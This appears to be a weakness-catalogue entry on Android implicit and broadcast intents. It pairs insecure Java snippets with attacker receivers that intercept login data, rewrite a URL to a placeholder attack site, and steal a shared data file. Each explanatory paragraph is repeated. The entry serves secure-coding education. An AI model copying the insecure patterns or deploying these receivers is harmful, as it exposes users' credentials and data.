This application wants to create a user account in several trusted applications using one broadcast intent:
This application assumes only the trusted applications will be listening for the action. A malicious application can register for this action and intercept the user's login information, as below:
BadJava
Intent intent = new Intent();intent.setAction("com.example.CreateUser");intent.putExtra("Username", uname_string);intent.putExtra("Password", pw_string);sendBroadcast(intent);
This application wants to create a user account in several trusted applications using one broadcast intent:
This application assumes only the trusted applications will be listening for the action. A malicious application can register for this action and intercept the user's login information, as below:
AttackJava
IntentFilter filter = new IntentFilter("com.example.CreateUser");MyReceiver receiver = new MyReceiver();registerReceiver(receiver, filter);
This application interfaces with a web service that requires a separate user login. It creates a sticky intent, so that future trusted applications that also use the web service will know who the current user is:
Sticky broadcasts can be read by any application at any time, and so should never contain sensitive information such as a username.
BadJava
Intent intent = new Intent();intent.setAction("com.example.service.UserExists");intent.putExtra("Username", uname_string);sendStickyBroadcast(intent);
This application interfaces with a web service that requires a separate user login. It creates a sticky intent, so that future trusted applications that also use the web service will know who the current user is:
Sticky broadcasts can be read by any application at any time, and so should never contain sensitive information such as a username.
AttackJava
IntentFilter filter = new IntentFilter("com.example.service.UserExists");MyReceiver receiver = new MyReceiver();registerReceiver(receiver, filter);
This application is sending an ordered broadcast, asking other applications to open a URL:
Any application in the broadcast chain may alter the data within the intent. This malicious application is altering the URL to point to an attack site:
BadJava
Intent intent = new Intent();intent.setAction("com.example.OpenURL");intent.putExtra("URL_TO_OPEN", url_string);sendOrderedBroadcastAsUser(intent);
This application is sending an ordered broadcast, asking other applications to open a URL:
Any application in the broadcast chain may alter the data within the intent. This malicious application is altering the URL to point to an attack site:
AttackJava
public class CallReceiver extends BroadcastReceiver {@Overridepublic void onReceive(Context context, Intent intent) {String Url = intent.getStringExtra(Intent.URL_TO_OPEN);attackURL = "www.example.com/attack?" + Url;setResultData(attackURL);}}
This application sends a special intent with a flag that allows the receiving application to read a data file for backup purposes.
Any malicious application can register to receive this intent. Because of the FLAG_GRANT_READ_URI_PERMISSION included with the intent, the malicious receiver code can read the user's data.
BadJava
Intent intent = new Intent();intent.setAction("com.example.BackupUserData");intent.setData(file_uri);intent.addFlags(FLAG_GRANT_READ_URI_PERMISSION);sendBroadcast(intent);
This application sends a special intent with a flag that allows the receiving application to read a data file for backup purposes.
Any malicious application can register to receive this intent. Because of the FLAG_GRANT_READ_URI_PERMISSION included with the intent, the malicious receiver code can read the user's data.
AttackJava
public class CallReceiver extends BroadcastReceiver {@Overridepublic void onReceive(Context context, Intent intent) {Uri userData = intent.getData();stealUserData(userData);}}